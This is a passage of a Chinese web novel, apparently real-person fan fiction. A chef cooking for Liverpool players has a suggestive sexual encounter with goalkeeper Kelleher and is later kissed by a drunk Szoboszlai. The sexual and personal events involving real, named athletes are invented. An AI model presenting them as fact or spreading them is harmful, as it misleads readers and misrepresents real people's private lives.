克里奇利摇摇头,直接抢过来锅,用了不到十分钟,就炒了四个菜。 咖喱大虾,红烧带鱼,菠萝咕咾肉和一道荷塘小炒,色香味俱全,每样菜都多做了一点,让后厨的工作人员都尝尝。 白搭,他们尝了也做不出来,阿诺德开的是法式餐厅。 他们一个劲的点头夸好吃,却也不羡慕嫉妒,他们知道这个无心留下的中餐大厨就是一客人,哄他开心就行。 因为他们知道克里奇利自己有餐厅,怎么会倾囊相授呢,从他做菜的速度就看出来了,加的什么料都看不清。 克里奇利才不是不愿意教他们,是他们看上去都跟听不懂话一样装傻,要想生意好,全都炒了! 他想给出这个建议,但是自己又不是老板,炒了能接起来,阿诺德要是听他的话,估计餐厅真倒闭了。 他亲自把餐品推出来一个个的摆上桌,刚要给大家介绍,这时门口迎面走来一个高高瘦瘦的男孩,他一头金发,浅浅的胡茬,低垂着眉眼一副不太开心的模样。 当大家和他打招呼时,克里奇利才发现,这不是爱尔兰那个可怜的二门,替补出场被进了2个球的凯莱赫吗。 第90章 回家虽好,但有赢有…… 回家虽好,但有赢有输,赢了的春风得意,输了的委屈憋气。 不管什么情绪,见了队友就亲的像见到了娘家人。 特别是姗姗来迟的小门将。 凯莱赫一来就成为大家关注的焦点,这个弟弟很要强,以前有人说他长的太嫩,踢球太软,像根稻草一样看着弱不禁风的,容易被重炮连人带球踢进门里。 他不服,学着阿利松的模样也留起了胡子。 但他留胡子看上去渣萌渣萌的,一点都不吓人。 阿诺德把他搂过来,笑嘻嘻的摸他胸口,说,“别难过啦,今晚给你扫扫尘,明天又是一条好猫。” 他被刚赢了他的英格兰人安慰的浑身不得劲儿,转头就去抱队长,在队长怀里一边蹭,一边撒娇抱怨英格兰都是坏人,特别是那个凯恩还有热刺的索兰克,下次见到热刺,要踢死他们啊! 范戴克揉了揉他的头,安慰他说:“你也是我们利物浦的太子啊,阿诺德回去要是给你漏人,你把球往他屁股上开!” 阿诺德撇撇嘴,心想这老队长,就是偏向小年轻,凯莱赫就是个脸骗,长着水嫩水嫩的一张脸,就算留着胡子看上去也跟18似的,长胳膊长腿也不显得大只笨拙,小猫脸一垮,队长就跟丢了魂儿似的。 阿诺德看了一圈,发现还一个脸骗杵在那,他哪像30多的人,刚才还说自己不到40,这家伙跟打了水光针似的,都说白人不抗老,这也不准啊。 被盯着看了的克里奇利这才反应过来,他赶紧给大家分餐,并介绍了菜品的创意。 阿诺德又开始炫耀,说,“你们知道吗,为什么我们英格兰这次来了个双响炮,收了希腊和爱尔…咳咳…”还没等大家说,他就一点也不设防的继续抖搂猛料,“我们伤病少呀!” 这次征召的除了斯通斯带伤之外别人都精壮精壮的,而且这两周吃的特别舒服,每个人都在赛前赛后得到了饮食上的大补。这一点,阿诺德没说错。 “噢~”大家仿佛知道了什么秘密,听阿诺德炫耀完给他一个情绪价值拉满的反应,接着把目光投向了这位传说中做饭也能助攻的英格兰的御用主厨,克里奇利。 凯莱赫带着不服的口气发问,“克里奇利先生,听说你会用食补,这是真的吗?” “高看我了,我哪会,就是菜做的好吃而已。” 他是一个低调谦虚的人,但对自己的技术水平还是很有把握的。 “你还谦虚上了。”阿诺德拍了拍他的后背,不吝夸赞,接着对凯莱赫安利道,“他就是会,你说点好听的,说不定能给你开个小灶,他对帅哥总是格外上心。” 这一句话把一桌子人说红了脸,唯独克里奇利没红脸,他对帅哥是格外上心,这一点没说错。 凯莱赫扒拉盘子里的食物,有一搭没一搭的问他,“那克里奇利先生,我最近手腕子疼,该吃点什么呢?” “噢?怎么个疼法?”他对帅哥就是缺乏抵抗力,还故弄玄虚地摆开望闻问切的架势。 “就是钝疼,刚才骑摩托车风一吹也疼,不知你有没有办法可以给我补补。” 克里奇利也不是医生,但阿诺德把他架上去了,一时他也下不来。这个凯莱赫也不见外,语气中还带着英格兰人都欠他的小气,跟要讨回来似的。 “吃猪蹄。”克里奇利不假思索的脱口而出,惹得大家拍桌子大笑。 猪蹄他们鲜少有人吃。 克里奇利也没多想,大家一笑他才反应过来,也抬手遮住了自己半张脸掩饰一下尴尬。 凯莱赫小脸一白,以为克里奇利故意损他,还遮嘴笑话他,于是晃着范戴克的胳膊委屈巴巴的告状,“队长,他骂我是猪。” “哈哈哈…” 一桌子人更笑的人仰马翻。 索博没笑,他瞟了一眼今天有点不太正常的凯莱赫,感觉到他带来的一点微妙的气氛,说不上友好,也不至于翻脸,于是当上老好人为克里奇利辩解,“猪蹄怎么了?我们国家就经常见。话说克里奇利是中餐厨师,提到中餐,我们匈牙利就和中国有好多相似的地方,比如我的姓名,姓在前,名在后,而且饮食文化也相通,中国人讲究以形补形,所以我觉得克里奇利对中餐的研究一定有很深的造诣,不会乱给人推荐的。” 在凯莱赫看来,以形补形这句话杀伤力更大,但索博说的很认真不像是开玩笑,他只好先把这个话题咽下去。 克里奇利对索博的解释感到很满意,因为他都没想好怎么圆场,这让索博说的头头是道,不过还是可惜,索博只能看不能吃,他又在脑子里打不着调的主意。 凯莱赫不说话了,闷头吃饭,刚吃了一口虾,就停不下来了,太好吃了,这怎么做的,突然好想让他给做一道猪蹄来尝尝,怎么这么会做菜呀,英格兰队吃的真好,怪不得一个个射门都这么势大力沉,震得自己手嗡嗡的。凯莱赫一时被好吃的征服,自我洗脑了。 这个晚上,大家吃的开心,喝的愉快,聊着聊着就半夜了。 克里奇利是一个随遇而安的人,也是一个见人说人话的人,很快他就融进利物浦球队里,成为利物浦的人了。 他对小动物超级友好,一点不介意刚才乱哈人的小橘猫,而且他发现小橘猫那蓝色的小眼珠早就在他身上转悠来转悠去,不知道打什么主意。 而那只替他说话的卷毛狗,帅的一塌糊涂,果然是物以类聚人以群分,像他们这种优质男性是有共性的,就是狗狗的理解能力和协作互助行为。 可克里奇利不是狗,他是狼,一头一意孤行的狼,擅长闯进别的动物领地,标记,震慑,叼走,享用,抛弃。 他会让那些失去防备的小动物“死”的痛快。 没有痛苦的死去难道不是最好的死法吗。吃掉一个小动物,用尽爱意去麻醉它,要是离开的时候再带走它前世的记忆就最好了。克里奇利在分心,一点没吃没喝,光用手支着个头眼神跟着他们飘来飘去,看上去像听得投入,实际上一点没听进去。 晚餐快结束了,他还没物色到今晚的猎物,而这时肚子才感觉到饿。 算了,他们都准备离席,自己也不好拖延时间再吃上几口。 他和他们一一握手,好像他才是餐厅老板,还反客为主地替阿诺德宣传,问着你们吃好了吗,下次再来,想吃什么告诉我,不对,告诉他,他一定会安排的。 凯莱赫和他握手,不忘了问他猪蹄怎么做。 他哈哈一笑,说那可复杂了,你要是着急先啃两口自己的手。 “哼!”凯莱赫这下可真生气了,我握住大厨的手不撒开,眼睛里冒出两簇蓝色的幽光,刚要骂人,克里奇利就把他拉进怀里抱了抱,他们身高持平,抱的时候还差点没错开位,好在作为门将的凯莱赫反应快,及时闪开了鼻子。 “抱歉,你的小胖手真的太可爱,让我失言了,作为道歉,改天我教你。” 克里奇利连忙为自己的冒失道歉,他真不是故意的,看见小猫又垮了脸,他才意识到这小孩开不得玩笑,毕竟刚丢了球,回来又打不上首发了。 凯莱赫在他脸前伸出五个手指头,感觉一只手就能盖住他整张脸,骄傲的说,“你管这叫小胖手?” 这手虽然不胖却很厚重,指腹和手掌有一些薄茧,一看就经历了风吹雨打,和他年纪轻轻的样子有些出入。 克里奇利鬼使神差的和他击了个掌,好像比大小一样和他掌心相对,又弯下了手指与他的手十指扣紧,并赞赏的点了点头。 凯莱赫感受到这个男人的手也很大,手指修长有力,是个守门员的料,不免对着这个蜜汁男人感到一丝憧憬和恍惚。 这时阿诺德走过来问克里奇利怎么回去,要不要送他,克里奇利说不用了,我还得帮你收拾一下,你们明天就归队了,还是早点回去休息吧。 阿诺德?*? 把餐厅放心的交给他,说了声谢谢就忙着送客去了。 克里奇利帮忙关店以后拍了个照片发给阿诺德,接着步入利物浦的夜色中去。 这个时间还可以去小酒馆喝一杯,他双手插兜,大步流星的走在空旷的街道上,眼神时不时地望向小巷子,看看有没有灯红酒绿的夜场在向他招手。 这时就听见嗡嗡嗡的摩托车声音,从他身后忽地开过来,一个急刹停在他面前不远处。 吓他一跳,摩托车离他很近,呼啸而过的风都把他发型吹乱了,他还没来得及呼啦他的长毛,就看见摩托车上那人支起大长腿,头盔向前一摘,接着仰头甩了甩头发,跟拍洗发水广告似的,整个人在路灯的笼罩下影子拉的好长,显得他格外高挑,英气逼人。 克里奇利不喜欢摩托,噪音大,风险高,他所在的地区骑这个的不是装B小青年就是抢包的,让他对摩托车手也没什么好感,再说刚才这距离就很危险,他要是个女的都能构成骚扰了。 可从摩托车上下来的不是别人,正是刚刚分开的凯莱赫。 他回头冲克里奇利笑。 克里奇利走近刚要说是你呀!面前就递过来一个头盔,他说,“上来,我送你。” 克里奇利摆摆手说:“不用,我住的酒店就在前面一公里左右,而且不顺路,我还要…”他想说他还要去那边找点夜宵吃,结果凯莱赫听也不听的就把头盔扔给他,他下意识接住。 “赶紧的!少废话!阿诺德真是的,竟然不把你当客人,给他白使唤呢,我送你!” 见他如此坚持,不上车就有点不知好歹了,害怕也没办法,骑摩托车不到两分钟就到了,他想。 结果他就上了贼船。 一公里不到的路,硬是载着他从大桥上狂飙了2个来回,吓的他搂紧了凯莱赫的腰,一开始还不好意思叫,到后面拐弯开始狂炫车技,差点把他魂儿吓掉,不顾形象的滋哇乱叫起来。 他搂的越紧,凯莱赫就飙的越快,由此陷入了死循环,不知道何时才能到目的地。 他都吓的不饿了,灌了一肚子风再加上魂儿在后面追,早就无心想别的,只想快点停下。 他想说话但声音都被吹跑,只好在心里默默祈祷,神哪,快让这疯批停下,让我干什么都行!【你现在阅读的是魔蝎小说 moxiexs】 90-100 第91章 只听刺啦一声,轮胎…… 只听刺啦一声,轮胎生硬摩擦过地面,一个横向急刹,克里奇利前胸就重重的撞在凯莱赫的后背上。 他闭着眼睛不敢睁开,直到停稳了才敢睁眼看这个世界,是不是颠了。 他环视一圈又抬头看看,这根本不是他所住的酒店,而是一处陌生的街角,这些楼建的很高,看上去像一个沿街高档小区。 “下来吧。”凯莱赫头盔一摘,轻描淡写的对后座的人说。 “噢。”他应了一声,也摘下头盔,但屁股没挪地方。 他不是不想下来,是根本找不着腿。 “下来呀?”凯莱赫又重复了一遍,“小心我大长腿把你扫下来。” 克里奇利咬了咬嘴唇,心想这小年轻一点礼貌都没有,才第一次见就这么冲动,转念又一想,自己什么时候变得矜持保守了,以前别说吃过一顿饭,就是健身房里稍微看得过去的,他都把图谋不轨写在脸上。 他现在面无表情,心里却在暗暗发毛。 狂奔了一路,不知道还能站稳不。丢什么也不能丢面子,克里奇利从摩托车后座上直接跳下来,结果腿一软,向后趔趄了几步。 凯莱赫大腿向后一撩,动作轻盈利落,站直后还能迅速反应一把拽住了差点坐地上的克里奇利。 克里奇利才不是被小小飙车吓破了胆,他是觉得自己小病还没好,于是卖了个惨,解释道,“我晕车而已,没事,别扶我。” 凯莱赫看他一眼,轻声笑了笑。 他这才想起来问:“这是哪?你带我来这干什么?” “绑架英格兰大厨。”凯莱赫看上去文静乖巧,实际很有冒险精神,这也符合他的年龄。说完他就搂着克里奇利的肩膀,把他往小区里带。 克里奇利双腿好像不是自己的,和凯莱赫步调一致,甚至步距都丝毫不差的一步一步进了他家门。 一进屋,凯莱赫就把门反锁,然后开始脱机车服。 见凯莱赫脱,他也脱。 但他穿的少,只穿了一件夹克和一件T恤,他都脱光了,凯莱赫还有一条背心。 凯莱赫回头一脸惊讶的问,“你干嘛?” 他摊摊手毫不在意的说,“我还没问你呢,这么晚了,拖一个大男人回来,想干嘛?” “说了绑架你啊,把养生食谱交出来,不然不让你走。”凯莱赫说着又去抓他的手。 “哈哈哈…”克里奇利笑着摸了摸自己脱的有点快的膀子,凯莱赫也似懂非懂的跟着傻笑。 笑完一丝尴尬暧昧的氛围在他们中间缓缓升起。 “我以为你们爱尔兰人都这么直白,省老劲了。”他一激动伯明翰腔就跑出来。 “你们英格兰人才直白,不,是坏,一个个的坏透了!” “噢?怎么个坏法?你说说,我听听。”克里奇利反握住他的手腕,一边摩挲着一边拉他往里走。 手腕本来有些刺痛,被他温暖的大手覆住,丝丝热气从他的腕关节浸入,让他感到舒服的同时,心里升起一丝异样的感觉。 克里奇利像一个老朋友,或者说像一个长者,一边关心爱抚他一边引领他寻找舒适区。 这明明是自己家,怎么还不知道坐哪了呢。 他家客厅非常宽敞,U型的沙发组合环抱着偌大的落地窗,从外面看不出来,走到窗边才发现他家是高层海景房,开阔的视野可以看到长达8公里的海岸线和曲折美丽的彩灯栈道,即使是夜里,也能看到远在天边近在眼前的滚滚海浪。 灰色的地毯几乎铺了一整个客厅,光着脚踩在到处软乎乎暖洋洋的地毯上,让人特别想躺在地上翻滚。 但他们还是坐在沙发上,像约会似的挨得很近。 “算了,不说了,总之都很坏!”凯莱赫看见他就好像看见了英格兰代表队,外表看上去绅士柔和,实际内心一片狡诈,现在他赤着上身逼近自己脸不红心不跳还带着赤裸裸的威胁,难道不是引狼入室? “你是门将,把门守好就行,管别人怎么说呢。”克里奇利看出他的顾虑,这小子有点心急,一是输了球被喷是少不了的,二是手腕有伤担心归队打不上主力,这才心急火燎的打起厨子的主意,刚才吃饭时他就说了,什么邪门歪道都想试试。 这也太心急了,有什么不能明天说的。 “你什么时候走?”凯莱赫瞪着圆圆的大眼睛,突然开口问他。 “呃…不出意外的话,明后天吧。” 克里奇利想着自己在这也没什么用,阿诺德的店也就那样,靠明星效应就行,不好吃也不难吃,自己本来也不擅长法餐,能给出什么好意见来。 倒是自己的小店,半个月没回去快倒闭了吧。 “什么是意外?”凯莱赫凑近了些问他。 “……”克里奇利看着他,连睫毛都是浅金色的,眉清目秀比加拉格尔更像个公主,是爱尔兰小公主,他这样望过来,又让自己眩晕了。 还没等他说什么,凯莱赫越靠越近,最终近到贴在一起,热切的吻上了他的嘴唇。 嗯?克里奇利瞳孔放大,脑子里认为爱尔兰人直接奔放的想法又加深了些。 “这算意外吗?”他亲了克里奇利,接着眨巴眨巴无辜又透彻的大眼睛,声音却充满了坚定和勇敢。 “算,怎么不算呢?”克里奇利手像浪花般抚上他的双肩,倾身向前,比他还要勇敢坚定的上前吻住了他。 大沙发太棒了,地毯也恰到好处,他们辗转沉醉在到处都是柔软毛毛包裹的温暖里,滚了不知多少圈。 随后又去了卧室,浴室,衣帽间,最后来到餐厅。 每一个房间都留下不同的体验,让凯莱赫大呼amazing,这人抢的太值了,不管了,不让他走,之前那么多人没有留下他就是因为不够勇猛。 他可是守门员啊,怀里抱着球,谁也抢不走。 克里奇利的头被他抱在胸口,听着有力的心跳,突然有种莫名的哀伤。 这么应景的氛围,让自己过于放纵了,竟然在每一个房间留下痕迹,会不会又伤害一只柔软勇敢的小猫。 小猫不松手,一直一直抱着他的头不撒手,因为一撒手就意味着要抛出去,还要抛的很远,抛给别人。 “凯莱赫,奎维恩凯莱赫!”克里奇利闷声在他胸口,感觉快被他勒窒息了。 他这才缓缓松开了手臂,两个人直直躺在地毯上,呼哧呼哧穿着粗气。 “怎么会这样。”克里奇利虽然是一个很快就点着的易燃物,也不至于一语不发的从一个屋干到另一个屋,没有任何前兆和准备,一上来就开炒的生猛做派。 “嗯…呵呵呵…哈哈…”凯莱赫也没想到会变成这样,起初他真的是只想要一份菜谱的,怎么会这样,他也想知道。 他翻过来手肘支着头,侧躺着看他,他平整的胸肌上冒着星星点点的汗珠,胸脯上下起伏着,看出他有一点倦意,忍不住又笑,惹得克里奇利也跟着傻笑。 “看不出来,你是个小疯子,大黑天的明抢啊,一点都没有了,全都给你了,别看了。”克里奇利捏住他的下巴晃了晃。 “嗯,我从小就这么勇的。”凯莱赫骄傲的说。 “怎么说?” “小时候,大概只有5岁?我爸说奎维恩,有人来抢劫我们家,一个男人带着一个小孩,我去搞定那个大人,你去帮忙搞定那个小孩行吗,我撸起袖子就冲了出去,一边吼一边找人,在哪呢?来啊!我爸笑着抱住我说,谢谢你的勇敢,你能保护全世界。后来,我就加入了青训营,做了一名门将。” “噢~”克里奇利听他讲故事,耳朵痒痒的,感觉很治愈,也有点羡慕,不像他风雨里飘摇,只是活下来就很难了,哪有这么会教人的父亲呀。 有那么一瞬间,想养个孩子看看自己有没有当爹的天赋,但很快就摇摇头否定了自己可怕的想法,像自己这样连个恋爱都不愿意谈,能养小孩?孑然一身,生不带来死不带去,多潇洒。 他扭过头去看了看凯莱赫,白嫩白嫩的脸,这么多体力活干下来,自己都要虚脱了,这小子还一脸的兴奋雀跃,胶原蛋白明晃晃的刺眼,但是他这胡子…真难看。 “胡子刮刮吧,看着比我还老。” “老才好呢,我就喜欢老的,你这样就挺好,看着稳重。” “我给你看看这叫老?!” 克里奇利又打起精神来,扑过去啃咬他的脖子,啃的他咯咯笑,这时肚子不合时宜的咕咕叫了几声,他才想起来晚上没吃饱,要找饭吃结果被人劫持了。 “还是教你做饭吧。” 克里奇利从他身上撑起来,看着胡子拉碴的小脸透着粉,就是再好看再诱人再金光闪闪也不能当饭吃,再忙活一会得让自己精尽人亡。 凯莱赫跟着他来到厨房,大半夜的看着他在厨房叮叮当当搞事情,不一会就做出来两份金枪鱼花生酱拌面。 两个人风卷残云般把两份面条一扫而空,凯莱赫说面条太好吃了,能不能天天做给他吃,克里奇利笑笑说,没人比你再贪心了。 凯莱赫努努嘴,并不想放弃,他觉得勇猛可以战胜一切,如果没给自己一点勇气,就不会在人都走了以后,骑着摩托车等着这位神秘大厨,再鼓励自己把他打包带回家,但他没想到那个意外,自己怎么会勇猛到亲上去,都怪今晚月亮太亮,勇气给的太多。 不过没关系,他说了意外可以让他留下,自己想把他留下。 第92章 来了利物浦几天就混…… 来了利物浦几天就混了几天,这感觉就像逃班翘课,通体舒爽,中间还吃了一个优质小猫,这让克里奇利又品尝到堕落的快乐。 不想回慕尼黑了,本来那也是个临时落脚点,又没有多大的事业要打理,小破店也只是一个身心过度的营生,如今病都好了,没必要在陌生的德国找苦吃。 只要自己想,英超哪个俱乐部不眼馋想让他加盟。 但他心里好像还有个事。 凯恩问他什么时候回来,有人想你了。 他回复凯恩,有个小事处理完就回去,麻烦他和“有人”说,还要顺带处理点人情世故。 凯恩笑他别太辛苦,制造太多人情世故当心抽不出身来。 他说确实,抽不出身来。 * 这天,利物浦的训练场上,各路人马均已到齐。 麦卡利斯特在和努涅斯在研究新的庆祝动作,完全忘记了刚在南美的赛场上各自队友发生的“顶牛”事件。 阿利松过问凯莱赫的手腕,凯莱赫说好啦,都好啦,你看。说着,他活动了一下手腕,确实不太疼了,因为那天过后克里奇利真的给他炖了猪蹄,一个个地塑封好了放冰箱里,叫他想吃的时候就拿出来热着吃冷着吃都可以。 他不知道是不是有效,反正一边啃猪蹄一边笑。 萨拉赫和加克波,若塔,迪亚斯这些前锋围在一起聊起各自赛场上的趣事,上次他们都没去阿诺德的餐厅,听说阿诺德拐来了传说中能背后助攻的英国大厨,今晚说什么也要去大吃一顿。 阿诺德看索博斯洛伊一个人孤零零的站在边线那边背对着球场,脚底下碾着橡胶粒,一副心事重重的样子。 好开玩笑的他忍不住跑过去,撑着索博的肩膀高高的跳了起来,落地时又搂着索博的脖子,亲密的问他,“嘿,兄弟,怎么啦?是不是今天女朋友要来激动的不知道干啥好了?” 索博皱着眉扯了一个假笑给他。 “这是什么表情,又帅又丑的。” 索博斯洛伊早在那天聚餐时就跟克里奇利约好了,今天要带他女朋友去吃他做的中国菜,结果发生了难以想象的意外。 他看了一眼阿诺德好奇又八卦的小眼神,又想到今晚要借他的地方请客,还准备在晚宴上向他女友求婚,幸好还没串通兄弟们给他助攻,但巨大的变卦让他现在不得不跟阿诺德说出实情。 他说:“我女朋友不来了。” 阿诺德一缩下巴,也皱紧了眉头,眼里满是疑惑的问他,“怎么了?为什么不来了?” “唉,分了。” 索博斯洛伊像一只受伤的小狗,耳朵都耷拉下来,不想过多解释的他说完就要走进球场,这时他俩中间就挤进来一个金色小脑袋,还是一个小绿巨人。 “说什么呢?是不是今晚的聚餐?”凯莱赫知道今晚有聚餐,克里奇利和他说过答应了索博搞这个晚宴的,他还吃醋敲打克里奇利就知道对帅哥过分上心。 克里奇利摊摊手说我是一个守信誉的人,既然答应了就得办到。 凯莱赫想方设法让他答应自己留在利物浦哪怕一个赛季也行,他却说男人志在四方,不会为了什么而停留。 虽然他风流成性却也潇洒至极,凯莱赫还是很向往他,也不避讳,这会听见他们说聚餐的事,肯定要支持一下,可不能因为人不够而取消了。 晚上,索博还是硬着头皮办了这个局,都说好了临时取消显得自己很小气,不肯请大家吃个饭,只是求婚局变成了单身party. 到了晚上,克里奇利早早换了厨师服在门口迎接他今晚的客人,做完这一次他就打算向阿诺德请辞了,毕竟在这白吃白住的很浪费,阿诺德还坚持要付他薪水。 他对阿诺德的心意感到很为难,阿诺德却不以为然,他觉得自己已经赚了,按克里奇利现在的身价,不被白金汉宫聘为私厨也要被各大豪门豪掷千金买断,自己能多霸占他一天就多赚一天。 他们利物浦小分队如约赴宴,三三两两的结伴而行,不一会餐厅门口就停满了豪车。 之前来过的看见克里奇利亲自迎接都友好的和他打招呼,那几个没见过的一看见他都眼睛发亮,感叹着这人是厨师?看上去跟男模似的,这往门口一站,谁家生意能差了? 凯莱赫不分轻重的上去就抱着他亲了他脸一口,看的范戴克眼珠子都直了,心想这小门将什么时候和他这么亲了,之前还在餐桌上凶的跟要吃了他一样。 克里奇利拍了拍他的后背,眼神拉丝,目送他进去,回过神来正迎上范戴克一双如炬的目光,只好勉强笑了笑,心想该不会又惹祸上身了吧,这么高大强壮的范戴克看上去可不好惹。 这时他看见今晚的主办方来了,阿诺德和索博一前一后走过来。 阿诺德拍拍他的肩膀说:“布莱恩,今晚又辛苦你了!” 克里奇利摆摆手说:“小意思。” 索博抬起水汪汪的大眼睛看着他,张了张嘴没说什么,只是伸手和他握了握。 克里奇利还向他身后张望,看了半天没看到什么,他握着索博的手问道,“不是还应该有一位美丽的女士吗?” 阿诺德听了清了清嗓子,眼珠转了转,给了克里奇利一个晦涩难懂的眼色。 克里奇利没看懂,是让他准备什么吗,他说,“放心好了,我准备了女士菜。” 这时索博才不好意思的收回手,支支吾吾的说,“没人来了,抱歉,让你见笑了。” “噢?这是怎么一回事?”克里奇利看不懂阿诺德的眼神也就算了,竟然还听不懂索博泄气的语气,没人来了是爽约了吗? 索博看他这么关心今晚的原局,只好摊牌,“她在赴我的约和健身之间选择了后者,我猜她一定很喜欢健身。” 这回克里奇利懂了,索博的女友放他鸽子了,今晚主题骤变,从浪漫满屋变成了分手快乐,真是计划不如变化快,那女士菜还上吗,上吧,给苦中作乐的男人们一点甜也好。 克里奇利拍了拍索博的手臂难得安慰了一句,“谁呀,这么没眼光,有她后悔的。” 索博苦笑了一下,说了声抱歉,让你为了这件事一直放在心上。 克里奇利笑笑说我是为了你。 他答应了索博要给他一个完美的宴会,而且也想到了索博大概率会在晚宴上向他女友求婚,他见过太多男孩子要求把戒指放在酒杯或甜品里,给女朋友一个惊喜的,因此他今天也费尽心思准备了内有玄机的巧克力造型甜品,就等索博给他一枚戒指了。 谁知本来要烘托今晚的主角上演王子向公主的求婚的戏码,结果变成了被健身教练挖墙脚公主临时跑路,王子注定伤心宿醉的狗血桥段,不免令人唏嘘。 果不其然,晚宴进行到一半索博斯洛伊就不见了! 这时克里奇利推上来最后一道菜,只见他小心翼翼的把一个超大铁板端上了桌,又示意大家拿起餐巾遮挡小心溅油,再用剪刀剪开锡纸,里面是一道还在沸腾的鱼,油和水在高温的作用下让整条鱼看上去还在拍打尾巴,像是从大海里直接蹦上餐桌一样,引起一桌人大呼哇噻! 凯莱赫胳膊肘怼怼范戴克,得意的小眼神瞟过去,小声说了一句,“看吧,我就说他很厉害。”就好像这鱼是他做的似的。 范戴克白了他一眼,说,“你又知道了,上次我又不是没来过,早知道他有这个本事。” 凯莱赫撇撇嘴,心想你不知道的本事多着呢! 大家都被这道沸腾鱼吸引目光,没人注意到从晚餐开始就在一边默默喝酒的索博斯洛伊离席了。 索博斯洛伊今晚存在感特别低,桌上的红酒基本都被他一个人喝了,因为大部分人都知道刚从国家队回来,俱乐部还一堆事等着自己去做,都比较自律,只是一小口一小口的搭配着餐品来喝,没人像喝啤酒似的跟红酒过不去。 本来应该是今晚的焦点现在不见了,克里奇利是一眼就发现了。 他这过剩的责任心告诉他,不行,得去看看索博斯洛伊去哪了,上次已经被凯恩吓过一回,这次无论如何不能再让自己的客人出问题。 他都忘了这不是在他的餐厅,但是他是主厨,为客人担心是他的职业素养。 他拒绝凯莱赫和众人的邀请,以去看看那帮法国人甜品准备的怎么样为借口,去找失踪的索博斯洛伊了。 其实不难猜,喝多了一定会去厕所吐。 他刚走到厕所门口就听见里面干呕的声音,那滋味不好受,克里奇利很久没喝多了吐了,但他知道借酒浇愁不管用还会让自己身体也跟着难受的道理。 他敲敲门,问了声,“还好吗?” “……” “是索博斯洛伊先生吗?” 里面还是一边干呕一边喘着粗气。 “多米尼克?麻烦开一下门。” 这时候就听见扑通一声好像他在里面跌倒了,克里奇利弯腰去看,果然看到索博倒在马桶旁边,伸着脚坐在地上起不来。 吓得他一把拽开门。 眼前的景象看上去非常吓人,像一个凶案现场。 索博瘫坐在地上,胳膊无力的搭在马桶上,大片酒渍染红了他胸前的白色布料,不知道的还以为被刀了,但喝成这样也很吓人好不好。 克里奇利没多想,这个样子被别人看见可不是什么光彩的事,先带他离开这里再说。 他俯身拉住索博的胳膊,绕过自己的脖子,再伸手捞起他的腰,向上一提把他给抱了起来。 没想到他还挺沉,喝成一摊烂泥是比平时要沉的多,这样斜靠过来让克里奇利脚步踉跄了一下,但依然稳稳地箍住他的腰,让他整个人都挂在自己身上,几乎是单臂提着他往外走。 还没走几步,他就完全控制不住自己,更别提形象什么的,哇的一口又吐了克里奇利一身。 他晚上没吃任何东西,喝的什么吐的什么,这下两个人好像都被血洗了一样,丧失了优雅,斯文和干净。 总而言之,像战争片里互相搀扶的难兄难弟。 这还不算完,他还抱着克里奇利胡言乱语,说一些让人听不懂的外国话,声音忽高忽低,忽急忽缓,好像在责怪又好像在乞求,叽里咕噜说完了睁着茫然的大眼睛看着他好像在等一个答案。 克里奇利说:“ok,ok,你想怎样你说英语。” 他好像得到了什么应允,一个霸道的身体对抗,就把高大的克里奇利挤到了墙面上,对着嘴就亲了上去! 第93章 克里奇利瞪大了…… 克里奇利瞪大了眼睛,双手张开不敢碰他,他动作很硬但亲的很浅,只是贴上了唇片,没有张嘴,那也让克里奇利闻到了一股浓重的酒味,直冲上他的颅顶。 这酒真不是什么好东西,祸害自己也祸害别人,如果克里奇利是他女友,估计直接把他扔地上,这臭醉汉谁爱要谁要。 好在克里奇利不是,他是一个男人,有力气处理棘手的事情,而且他也没嫌弃索博弄脏了他的厨师服,为情喝成这样也是个情种。 衣服脏了可以洗,人要是不管估计会出事。 这家伙空腹喝酒会胃出血的,不行,得去医院。克里奇利第一想法是不可以在这里喝出事来,他和阿诺德承担不起。 这时不远处传来一串脚步声,克里奇利稍稍偏头,余光看到了一条高高瘦瘦的身影很快消失在走廊的尽头。 索博亲他被谁看见了?这个身形,一眼金发后脑勺,应该是凯莱赫没错了。 他跑什么跑,不能来帮个忙吗? 克里奇利费劲的架着索博往前走,说实话,他的确需要找个人帮忙,但又不确定索博这副狼狈样被队友看见了会不会丢面子。 正当他想着还是命要紧,面子有什么用,就在拐角处看见了刚刚逃跑的凯莱赫。 凯莱赫背靠在墙上,脸色有些难看。 正好,这小子帮忙再好不过了,既可以解决帮忙抬的问题,也可以因为跟自己一层亲密的关系守口如瓶。 吃醋归吃醋,他应该不会把自己喜欢的人被别人亲这件事到处宣扬,也就不会说索博喝多了被自己看见这种无聊的事。 克里奇利架着索博,抬眼看向凯莱赫,说“你跑什么跑,不知道过来搭把手啊?” 凯莱赫不情愿的拉过索博的另一条胳膊搭在自己肩膀上,不得不和他一起架着索博去了休息室。 路上他就忍不住骂克里奇利,“你这捡男人的本事真强,怎么一捡就是帅哥呢?” “是他扑过来的我有什么办法。”克里奇利懒得跟他解释。 “噢,你也没拒绝啊!” “……”克里奇利无语,他现在没心情跟小孩吵架,自己一身酒臭味,快要被熏吐了。 他俩把索博放到沙发上,克里奇利就赶紧脱了厨师服和里面的背心,对着镜子用湿毛巾擦干净身子。他从镜子里看见凯莱赫坐在一边翘着二郎腿,一双凶巴巴的眼睛瞪着他,像个受气的小媳妇。 克里奇利见他不动弹,有点怀疑他们队友之间的关系,再一想,可别因为他搞得利物浦再内讧。 他回头对凯莱赫说:“你愣着干嘛?给他私人医生打电话啊,叫他来处理一下。” “我哪有他私人医生电话,我只有队医电话,队医又不处理宿醉这种病。” “那怎么办,送医院?” “没事,他都睡着了能有什么事啊,倒是你,紧张的跟闯了多大祸似的,他这样子要是被队长知道了,不,被教练知道了,那才是真的大祸临头。” “总不能把他扔这里吧?”克里奇利走过去,见凯莱赫不动手,只好伸手把索博的衣服扣子解开让他喘口气。 冰凉的衬衫贴在衣服上很难受不说,气味实在是不好闻。 一直到脱掉衣服给他用毛巾擦拭酒渍,凯莱赫都没伸一个指头帮忙。 “还是不是你亲队友了?”克里奇利表示不满。 “啊!”凯莱赫突然像被针扎了似的叫了一声。 克里奇利抬头拧着眉看他。 “我终于知道你为什么不处关系了,你滥情的要命,是个男人你就想要尝尝,你就是一个贪婪的没有底线的家伙!连直男都敢撩!” 凯莱赫越说越气,直接起身要离开,走到门口时被克里奇利一把拽了回来,用力过猛直接把他扔在墙面上,不小心触碰了灯的开关,屋里瞬间漆黑一片。 还没等克里奇利解释些什么,凯莱赫就发狠的抱住他的头,直直地撞了过去。 对等的身高甚至不用找任何角度,精准的对上了嘴,谁知凯莱赫没想亲他,而是狠狠地咬了他一口。 